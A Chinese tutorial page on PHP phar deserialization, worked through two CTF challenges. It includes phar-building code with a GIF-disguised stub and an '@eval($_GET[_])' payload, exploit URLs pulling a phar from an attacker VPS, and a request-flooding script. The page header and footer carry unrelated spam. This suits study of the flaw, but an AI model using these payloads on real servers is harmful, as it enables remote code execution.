中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP反序列化入門中phar是什么

發布時間:2021-10-11 10:56:27 來源:億速云 閱讀:187 作者:柒染 欄目:網絡管理

這篇文章將為大家詳細講解有關PHP反序列化入門中phar是什么,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

phar介紹

簡單來說phar就是php壓縮文檔。它可以把多個文件歸檔到同一個文件中,而且不經過解壓就能被 php 訪問并執行,與file:// php://等類似,也是一種流包裝器。

phar結構由 4 部分組成

  • stub phar 文件標識,格式為 xxx<?php xxx; __HALT_COMPILER();?>;

  • manifest 壓縮文件的屬性等信息,以序列化存儲;

  • contents 壓縮文件的內容;

  • signature 簽名,放在文件末尾;

這里有兩個關鍵點,一是文件標識,必須以__HALT_COMPILER();?>結尾,但前面的內容沒有限制,也就是說我們可以輕易偽造一個圖片文件或者pdf文件來繞過一些上傳限制;二是反序列化,phar存儲的meta-data信息以序列化方式存儲,當文件操作函數通過phar://偽協議解析phar文件時就會將數據反序列化,而這樣的文件操作函數有很多。

以上內容摘自:由 PHPGGC 理解 PHP 反序列化漏洞 。接下來,我們還是通過兩個CTF題目來學習phar反序列化的利用。

例題一

PHP反序列化入門中phar是什么

這題比較簡單,可以直接生成 phar 文件,然后利用網站的上傳圖片功能,結合 第11行file_exists 函數進行phar反序列化利用,生成代碼如下:

<?php
// phar.readonly無法通過該語句進行設置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[_]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后綴必須為phar,否則程序無法運行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

PHP反序列化入門中phar是什么

例題二

這題選用 HITCON2017 中的 Baby^H Master PHP 2017 一題進行學習,題目點 這里 下載。

PHP反序列化入門中phar是什么

題目的意思很明確,要我們利用 Admin 類的 __destruct 方法來獲得 flag 。但是 第20行$random 變量我們無法獲得,這樣也就無法獲得 flag ,所以我們要通過匿名類的名字來調用 flag 生成函數。

我們可以看看 create_function 函數對應的內核源碼。( php-src/Zend/zend_builtin_functions.c:1901

PHP反序列化入門中phar是什么

可以看到匿名函數的名字類似于 \0lambda_%d ,其中 %d 為數字,取決于進程中匿名函數的個數,但是我們每訪問一次題目,就會生成一個匿名函數,這樣匿名函數的名字就不好控制。這里,我們便要引入 apache-prefork 模型(默認模型)介紹(關于該模型的介紹,可以參考: Apache的三種MPM模式比較:prefork,worker,event )。當用戶請求過大時,超過 apache 默認設定的閥值時,就會啟動新的線程來處理請求,此時在新的線程中,匿名函數的名字又會從1開始遞增,這樣我們就容易猜測匿名函數的名字了。

接下來我們就來找反序列化的利用點,我們很快看到 第35行 反序列化了一個可控的 $data 變量,但是上一行有一個 hash_equals 函數進行了數據校驗,而 $SECRET 的值不可知,這就沒法利用這一反序列化點。接著我們會看到 第40行 有一個上傳 gif 文件功能,且 $data 變量可控。那么攻擊思路就是,我們先通過將構造好的 phar 文件傳到服務器上,再利用可控的 $_GET["url"] 結合 phar 協議,進行反序列化。用于生成 phar 的代碼如下:

<?php
// phar.readonly無法通過該語句進行設置: init_set("phar.readonly",0);
class User { 
    public $avatar; 
    function __construct($path) { 
        $this->avatar = 'avatar.gif'; 
    } 
} 
class Admin extends User { }

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

將生成的 avatar.phar 放在自己的 VPS 上并重命名成 avatar.gif ,然后將文件上傳到題目服務器上:

http://題目IP/index.php?m=upload&url=http://VPS_IP/

接著,我們需要通過大量請求,使 apache 重新開啟一個新的線程,然后訪問如下 url 即可完成反序列化并獲得 flag

http://題目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

關于 phar 更深的利用,可以參考這篇文章:Phar與Stream Wrapper造成PHP RCE的深入挖掘

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 8000
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

關于PHP反序列化入門中phar是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

平安县| 芦溪县| 桐乡市| 石棉县| 中宁县| 永城市| 临城县| 兰州市| 额济纳旗| 千阳县| 渝北区| 通河县| 丰顺县| 寻乌县| 修文县| 寻甸| 伊春市| 宜丰县| 大足县| 珠海市| 犍为县| 岑溪市| 青神县| 合作市| 色达县| 澳门| 班戈县| 甘肃省| 仙游县| 怀来县| 盐津县| 乐清市| 韩城市| 綦江县| 昌图县| 贵阳市| 扬州市| 峨眉山市| 芒康县| 桐梓县| 出国|